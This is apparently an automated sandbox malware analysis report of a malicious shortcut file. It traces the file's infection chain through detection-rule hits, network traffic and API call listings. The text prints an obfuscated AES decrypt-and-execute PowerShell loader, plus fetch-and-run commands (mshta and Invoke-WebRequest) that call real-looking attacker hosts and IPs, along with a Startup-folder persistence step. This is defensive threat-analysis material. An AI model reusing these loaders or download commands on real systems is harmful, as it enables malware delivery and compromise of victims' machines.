4AD17918390627C6F8D0EBFEC0D4B85391A1F467AEB4171DF3219BB517EB07410A106FF89CCA8023C0CF6C0F5251A8E428413363D25F0B505E17AEC003693E130A590DB8BBE133FFB0BDBC8930DA536699D6DAAC01BB7FD671DBE8DEFF6B4028FE57FCB454DAD571F21C46E58BED7CC67F8F8B3F124E43476CD67F681F52F9E21044F8C5361A690A893FA06D69E2DB01A27F3503C04BE81BB4A323F8EECBA5358DDB14C9EC0469AEE1544FB484B6D1A6724132B29F8451BF425B1B9762AA86E3A6ED9A28760C77FEC629AE93E74262197D8D6B10F23ED27497ECC808D24E7D6E88CEB1D5788785816C5FA9EAB87109E431C7C6442BA4FC96DA32D0841A2C60881B66136D63452D540BE93E778EDEC6BA91D01916A1EEC4EB6A74F22241194EC1EEDC14528EAC307306F8E6CAAAC68402C965A0CE3A683F3BF2B61F6BEBD7EC1347EECF6D52329C0F2D6EE0FDC59AD85C3A7B382EE197C38A04DDE6FEF2EBDF6F21091DD434E3ED41F090C5A4AB1DEA7CC5DF529DC4724F97F443E9F7616218B009BBAE57D41AC9B157FAB29601988A46216F36F8FCDE4CD489509E890AA17820AC29A5F377819EBD437D5F8DA703DC69541B92F3DBA8114F5F49D9915B9C79A2E77BD647E7E439D93AE77D39EF6F453BB');$nVgOVia = [System.Security.Cryptography.Aes]::Create();$nVgOVia.Key = clean('5045706B41635763586C7A575A435A61');$nVgOVia.IV = New-Object byte[] 16;$UoRhOAMrF = $nVgOVia.CreateDecryptor();$gAccxEpxB = [Text.Encoding]::UTF8.GetString($UoRhOAMrF.TransformFinalBlock($JQJjsu, 0,$JQJjsu.Length)); & $gAccxEpxB.Substring(0,3) $gAccxEpxB.Subst
Source: Process startedAuthor: Max Altgelt (Nextron Systems): Data: Command: "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif" "C:\Users\user\AppData\Local\WordGenius Technologies\G", CommandLine: "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif" "C:\Users\user\AppData\Local\WordGenius Technologies\G", CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif, NewProcessName: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif, OriginalFileName: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif, ParentCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" , ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 8924, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif" "C:\Users\user\AppData\Local\WordGenius Technologies\G", ProcessId: 8980, ProcessName: SwiftWrite.pif
Source: File createdAuthor: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 1820, TargetFilename: C:\Users\user\AppData\Roaming\PefjSkkhb.exe
Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/kiiMf" -OutFile "C:\Users\Public\Guard.exe"", CommandLine: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/kiiMf" -OutFile "C:\Users\Public\Guard.exe"", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\PefjSkkhb.exe" , ParentImage: C:\Users\user\AppData\Roaming\PefjSkkhb.exe, ParentProcessId: 7604, ParentProcessName: PefjSkkhb.exe, ProcessCommandLine: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/kiiMf" -OutFile "C:\Users\Public\Guard.exe"", ProcessId: 7680, ProcessName: powershell.exe
Source: Process startedAuthor: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/kiiMf" -OutFile "C:\Users\Public\Guard.exe"", CommandLine: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/kiiMf" -OutFile "C:\Users\Public\Guard.exe"", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\PefjSkkhb.exe" , ParentImage: C:\Users\user\AppData\Roaming\PefjSkkhb.exe, ParentProcessId: 7604, ParentProcessName: PefjSkkhb.exe, ProcessCommandLine: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/kiiMf" -OutFile "C:\Users\Public\Guard.exe"", ProcessId: 7680, ProcessName: powershell.exe
Source: Process startedAuthor: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/kiiMf" -OutFile "C:\Users\Public\Guard.exe"", CommandLine: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/kiiMf" -OutFile "C:\Users\Public\Guard.exe"", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\PefjSkkhb.exe" , ParentImage: C:\Users\user\AppData\Roaming\PefjSkkhb.exe, ParentProcessId: 7604, ParentProcessName: PefjSkkhb.exe, ProcessCommandLine: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/kiiMf" -OutFile "C:\Users\Public\Guard.exe"", ProcessId: 7680, ProcessName: powershell.exe
Source: Process startedAuthor: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3504, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" , ProcessId: 8924, ProcessName: wscript.exe
Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -w 1 powershell -Command ('ms' + 'hta' + '.exe ' + 'https://tiffany-careers.com/HA_19-12NGHEP_anh'), CommandLine: powershell -w 1 powershell -Command ('ms' + 'hta' + '.exe ' + 'https://tiffany-careers.com/HA_19-12NGHEP_anh'), CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\Wbem\wmic.exe" process call create "powershell -w 1 powershell -Command ('ms' + 'hta' + '.exe ' + 'https://tiffany-careers.com/HA_19-12NGHEP_anh')", ParentImage: C:\Windows\System32\wbem\WMIC.exe, ParentProcessId: 2452, ParentProcessName: WMIC.exe, ProcessCommandLine: powershell -w 1 powershell -Command ('ms' + 'hta' + '.exe ' + 'https://tiffany-careers.com/HA_19-12NGHEP_anh'), ProcessId: 6592, ProcessName: powershell.exe
Source: Process startedAuthor: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 2376, ProcessName: svchost.exe

Data Obfuscation

barindex
Source: File createdAuthor: Joe Security: Data: EventID: 11, Image: C:\Windows\SysWOW64\cmd.exe, ProcessId: 8832, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url
TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
2024-12-23T08:40:00.704769+010028033053Unknown Traffic192.168.2.949748147.45.49.155443TCP

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\HA_19-12NGHEP_anh[1]ReversingLabs: Detection: 52%
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeReversingLabs: Detection: 31%
Source: nTyPEbq9wQ.lnkReversingLabs: Detection: 21%
Source: nTyPEbq9wQ.lnkVirustotal: Detection: 24%Perma Link
Source: Submited SampleIntegrated Neural Analysis Model: Matched 99.8% probability
Source: unknownHTTPS traffic detected: 147.45.49.155:443 -> 192.168.2.9:49722 version: TLS 1.2
Source: unknownHTTPS traffic detected: 147.45.49.155:443 -> 192.168.2.9:49735 version: TLS 1.2
Source: Binary string: dvdplay.pdbGCTL source: mshta.exe, 00000006.00000002.1692760542.0000023F458C0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1663608231.0000023F4030E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1656620086.0000023F4026E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1692811416.0000023F458D8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1657428483.0000023F458C1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1658407754.0000023F402FC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1661852366.0000023F402F5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1656620086.0000023F402DF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1661852366.0000023F402DF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1692472427.0000023F402F5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1656252636.0000023F458D8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1657586967.0000023F402DF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1657586967.0000023F40274000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1663444018.0000023F402F5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1656378157.0000023F402E8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1657068066.0000023F402F4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1658444595.0000023F40304000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1692676271.0000023F4030E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1691660367.0000023F4026F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1658497771.0000023F4030D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1662892425.0000023F402E5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: vdplay.pdbGCTL source: mshta.exe, 00000006.00000003.1656378157.0000023F402E8000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: dvdplay.pdb source: mshta.exe, 00000006.00000003.1656620086.0000023F4026E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1692811416.0000023F458D8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1656252636.0000023F458D8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1657586967.0000023F40274000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1656378157.0000023F402E8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.1657068066.0000023F402F4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000002.1691660367.0000023F4026F000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: vdplay.pdb source: mshta.exe, 00000006.00000003.1656378157.0000023F402E8000.00000004.00000020.00020000.00000000.sdmp
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697BBC7C0 lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,18_2_00007FF697BBC7C0
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697BBB7C0 FindFirstFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,18_2_00007FF697BBB7C0
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697BC72A8 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,18_2_00007FF697BC72A8
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697BC71F4 FindFirstFileW,FindClose,18_2_00007FF697BC71F4
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697BBBC70 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,18_2_00007FF697BBBC70
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697BCA874 FindFirstFileW,Sleep,FindNextFileW,FindClose,18_2_00007FF697BCA874
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697BCA4F8 FindFirstFileW,FindNextFileW,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,18_2_00007FF697BCA4F8
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697BC6428 FindFirstFileW,FindNextFileW,FindClose,18_2_00007FF697BC6428
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697BCA350 FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,18_2_00007FF697BCA350
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697B82F50 FindFirstFileExW,18_2_00007FF697B82F50
Source: C:\Users\Public\Guard.exeCode function: 27_2_00334005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,27_2_00334005
Source: C:\Users\Public\Guard.exeCode function: 27_2_0033494A GetFileAttributesW,FindFirstFileW,FindClose,27_2_0033494A
Source: C:\Users\Public\Guard.exeCode function: 27_2_0033C2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,27_2_0033C2FF
Source: C:\Users\Public\Guard.exeCode function: 27_2_0033CD14 FindFirstFileW,FindClose,27_2_0033CD14
Source: C:\Users\Public\Guard.exeCode function: 27_2_0033CD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,27_2_0033CD9F
Source: C:\Users\Public\Guard.exeCode function: 27_2_0033F5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,27_2_0033F5D8
Source: C:\Users\Public\Guard.exeCode function: 27_2_0033F735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,27_2_0033F735
Source: C:\Users\Public\Guard.exeCode function: 27_2_0033FA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,27_2_0033FA36
Source: C:\Users\Public\Guard.exeCode function: 27_2_00333CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,27_2_00333CE2
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 31_2_00D84005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,31_2_00D84005
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 31_2_00D8494A GetFileAttributesW,FindFirstFileW,FindClose,31_2_00D8494A
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 31_2_00D8C2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,31_2_00D8C2FF
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 31_2_00D8CD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,31_2_00D8CD9F
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 31_2_00D8CD14 FindFirstFileW,FindClose,31_2_00D8CD14
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 31_2_00D8F5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,31_2_00D8F5D8
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 31_2_00D8F735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,31_2_00D8F735
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 31_2_00D8FA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,31_2_00D8FA36
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 31_2_00D83CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,31_2_00D83CE2
Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 23 Dec 2024 07:40:07 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30Last-Modified: Sun, 15 Dec 2024 10:29:42 GMTETag: "da2a8-6294c8abc9816"Accept-Ranges: bytesContent-Length: 893608Keep-Alive: timeout=5, max=100Connection: Keep-AliveData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 16 73 44 90 52 12 2a c3 52 12 2a c3 52 12 2a c3 14 43 cb c3 50 12 2a c3 cc b2 ed c3 53 12 2a c3 5f 40 f5 c3 61 12 2a c3 5f 40 ca c3 e3 12 2a c3 5f 40 cb c3 67 12 2a c3 5b 6a a9 c3 5b 12 2a c3 5b 6a b9 c3 77 12 2a c3 52 12 2b c3 72 10 2a c3 e7 8c c0 c3 02 12 2a c3 e7 8c f5 c3 53 12 2a c3 5f 40 f1 c3 53 12 2a c3 52 12 bd c3 50 12 2a c3 e7 8c f4 c3 53 12 2a c3 52 69 63 68 52 12 2a c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 f1 5f 70 5a 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0c 00 00 e8 08 00 00 d8 04 00 00 00 00 00 fa 7f 02 00 00 10 00 00 00 00 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 0d 00 00 04 00 00 15 cd 0d 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 cc d0 0b 00 7c 01 00 00 00 90 0c 00 50 d7 00 00 00 00 00 00 00 00 00 00 00 86 0d 00 a8 1c 00 00 00 70 0d 00 ac 71 00 00 90 3b 09 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 5b 0a 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 09 00 84 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 b1 e7 08 00 00 10 00 00 00 e8 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 8e fd 02 00 00 00 09 00 00 fe 02 00 00 ec 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 74 8f 00 00 00 00 0c 00 00 52 00 00 00 ea 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 50 d7 00 00 00 90 0c 00 00 d8 00 00 00 3c 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 71 00 00 00 70 0d 00 00 72 00 00 00 14 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global trafficHTTP traffic detected: GET /New_2025.webp HTTP/1.1Host: tiffany-careers.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /PefjSkkhb.exe HTTP/1.1Host: tiffany-careers.com
Source: global trafficHTTP traffic detected: GET /QWCheljD.txt HTTP/1.1Host: 139.99.188.124Connection: Keep-Alive
Source: Joe Sandbox ViewIP Address: 147.45.49.155 147.45.49.155
Source: Joe Sandbox ViewIP Address: 139.99.188.124 139.99.188.124
Source: Joe Sandbox ViewIP Address: 139.99.188.124 139.99.188.124
Source: Joe Sandbox ViewASN Name: OVHFR OVHFR
Source: Joe Sandbox ViewJA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox ViewJA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:49748 -> 147.45.49.155:443
Source: global trafficHTTP traffic detected: GET /HA_19-12NGHEP_anh HTTP/1.1Accept: */*Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: tiffany-careers.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /crx/blobs/AW50ZFvmkG4OHGgRTAu7ED1s4Osp5h4hBv39bA-6HcwOhSY7CGpTiD4wJ46Ud6Bo6P7yWyrRWCx-L37vtqrnUs3U44hGlerneoOywl1xhFHZUyPx_GIMNYxNDzQk9TJs4K4AxlKa5fjk7yW6cw-fwnpof9qnkobSLXrM/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_85_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global trafficHTTP traffic detected: GET /kiiMf HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 139.99.188.124Connection: Keep-Alive
Source: unknownTCP traffic detected without corresponding DNS query: 20.189.173.11
Source: unknownTCP traffic detected without corresponding DNS query: 20.189.173.11
Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknownTCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknownTCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknownTCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknownTCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknownTCP traffic detected without corresponding DNS query: 20.189.173.11
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknownTCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknownTCP traffic detected without corresponding DNS query: 23.206.229.209
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exeCode function: 18_2_00007FF697BCE87C InternetReadFile,18_2_00007FF697BCE87C
